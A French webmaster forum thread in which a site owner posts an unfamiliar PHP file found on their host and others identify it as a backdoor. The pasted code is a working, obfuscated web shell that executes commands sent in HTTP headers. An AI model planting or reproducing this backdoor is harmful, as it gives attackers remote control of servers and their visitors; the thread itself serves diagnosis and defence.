Etrange fichier .php sur mon forum

Discussion dans 'Administration d'un site Web' créé par Meeuuuhhh, 14 Décembre 2012.

  1. Meeuuuhhh
    Meeuuuhhh WRInaute passionné
    Inscrit:
    8 Janvier 2007
    Messages:
    1 498
    J'aime reçus:
    0
    Salut,

    Comme je disais ici, je me tire d'IPB, leur chauvinisme de cowboys poudrés me fatigue. Je vais me reprogrammer mon script à moi. On est jamais mieux servi que par soi-même dit le proverbe, c'est encore plus vrai en informatique.

    Ceci dit, en regardant dans le dossier /forum de mon hébergement, j'ai trouvé un fichier au nom étrange. Je ne me rappelle pas l'avoir déjà vu :
    Le contenu n'est pas moins étrange :
    Code:
    <?php $_6e835c3="\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65";$_6e835c3("\x7c\x2e\x7c\x65","\x65\x76\x61\x6c\x28\x27\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7\x22\x29\x29\x3b\x27\x29",'.');?>
    Qu'est-ce donc que cette chose ?
     
  2. madri2
    madri2 WRInaute impliqué
    Inscrit:
    29 Décembre 2007
    Messages:
    650
    J'aime reçus:
    0
    un eval('eval(base64_decode(" caché, tu t'es fait hacker
     
  3. Meeuuuhhh
    Meeuuuhhh WRInaute passionné
    Inscrit:
    8 Janvier 2007
    Messages:
    1 498
    J'aime reçus:
    0
    Peux-tu m'en dire plus, cher madri2. Qu'est-ce que ce eval dont tu parles ?

    Si mon site a été piraté, pourquoi rien n'a été modifié nulle part ?
     
  4. nickargall
    nickargall WRInaute accro
    Inscrit:
    13 Juin 2005
    Messages:
    6 601
    J'aime reçus:
    4
    il s'agit parfois de hackers qui se servent de ton site comme une plateforme de lancement vers les véritables cibles.
     
  5. madri2
    madri2 WRInaute impliqué
    Inscrit:
    29 Décembre 2007
    Messages:
    650
    J'aime reçus:
    0
    un bout de code qui permet d'executer du code à distance, et comme dit d'utiliser ton serveur comme passerelle éventuellement pour hacker d'autres sites ou infecter tes visiteurs
     
  6. Meeuuuhhh
    Meeuuuhhh WRInaute passionné
    Inscrit:
    8 Janvier 2007
    Messages:
    1 498
    J'aime reçus:
    0
    J'en reste bouché bée.

    Et aurait-il pu infiltrer mon propre pc ? Comment savoir s'il l'a fait ?
     
  7. spout
    spout WRInaute accro
    Inscrit:
    14 Mai 2003
    Messages:
    9 203
    J'aime reçus:
    365
  8. nickargall
    nickargall WRInaute accro
    Inscrit:
    13 Juin 2005
    Messages:
    6 601
    J'aime reçus:
    4
    ça peut être une faille sur ton site, un cheval de troie dans ton FileZilla, ...
     
  9. Meeuuuhhh
    Meeuuuhhh WRInaute passionné
    Inscrit:
    8 Janvier 2007
    Messages:
    1 498
    J'aime reçus:
    0
    Merci spout,


    Ca me sort ça :

    Vous en pensez quoi ?

    Comment trouver la petite bête ? Je voulais me connecter en SSL ou quelque chose comme ça avec Filezilla, mais ça m'a paru compliqué, j'ai zappé l'idée.
     
  10. spout
    spout WRInaute accro
    Inscrit:
    14 Mai 2003
    Messages:
    9 203
    J'aime reçus:
    365
  11. YoyoS
    YoyoS WRInaute accro
    Inscrit:
    14 Septembre 2006
    Messages:
    3 226
    J'aime reçus:
    0
    Merci bien, ce sont donc des serveurs comme le tiens qui nous bourrinent nos serveur dédiés :p
     
  12. Meeuuuhhh
    Meeuuuhhh WRInaute passionné
    Inscrit:
    8 Janvier 2007
    Messages:
    1 498
    J'aime reçus:
    0
    Le fichier date d'il y a un mois. C'est un serveur hostgator.
     
Chargement...
Similar Threads - Etrange fichier php Forum Date
[AIDE] ".php" ajouté à la fin des fichiers, étrange... URL Rewriting et .htaccess 22 Avril 2010
URLs étranges dans GWT Netlinking, backlinks, liens et redirections 21 Septembre 2022
Astuce Bloquer ip utilisateur actions étranges sur mon site Le café de WebRankInfo 13 Août 2022
Se référencer à l'étranger avec un .fr ? (.fr/it ...) Référencement international (langues, pays) 11 Mai 2022
Arborescence étrange - Pagination d'articles Crawl et indexation Google, sitemaps 15 Décembre 2021
serp google étrange Débuter en référencement 22 Septembre 2021
Mots clés public étranger Débuter en référencement 23 Mars 2021
TV française depuis l étranger Le café de WebRankInfo 30 Août 2019
Résultats étranges pour la requête site: Problèmes de référencement spécifiques à vos sites 26 Août 2019
Vol de contenu par site étranger Droit du web (juridique, fiscalité...) 9 Août 2019
être vu par les français + les étrangers YouTube, Google Images et Google Maps 15 Avril 2019
Données Analytics de pays étrangers Google Analytics 6 Février 2019
Résultats étranges sur Google. Problèmes de référencement spécifiques à vos sites 19 Janvier 2019
Utilisateurs étranges sur mon blog Google Analytics 17 Octobre 2018
Que faire des pages inactives dans des langues étrangères (site multilingue) ? Débuter en référencement 27 Juillet 2018
Etrange probléme 403 http header sur la home page Développement d'un site Web ou d'une appli mobile 27 Mai 2018
problème d'indexation très étrange Référencement Google 26 Octobre 2017
Backlinks étranges pour plusieurs sites. sont-ils néfastes ? Netlinking, backlinks, liens et redirections 29 Septembre 2017
Etrange, nom de l'ancienne société dans les titres de résultats Google Problèmes de référencement spécifiques à vos sites 26 Septembre 2017
Passage de 1 à 31 toujours étrange Problèmes de référencement spécifiques à vos sites 6 Juin 2017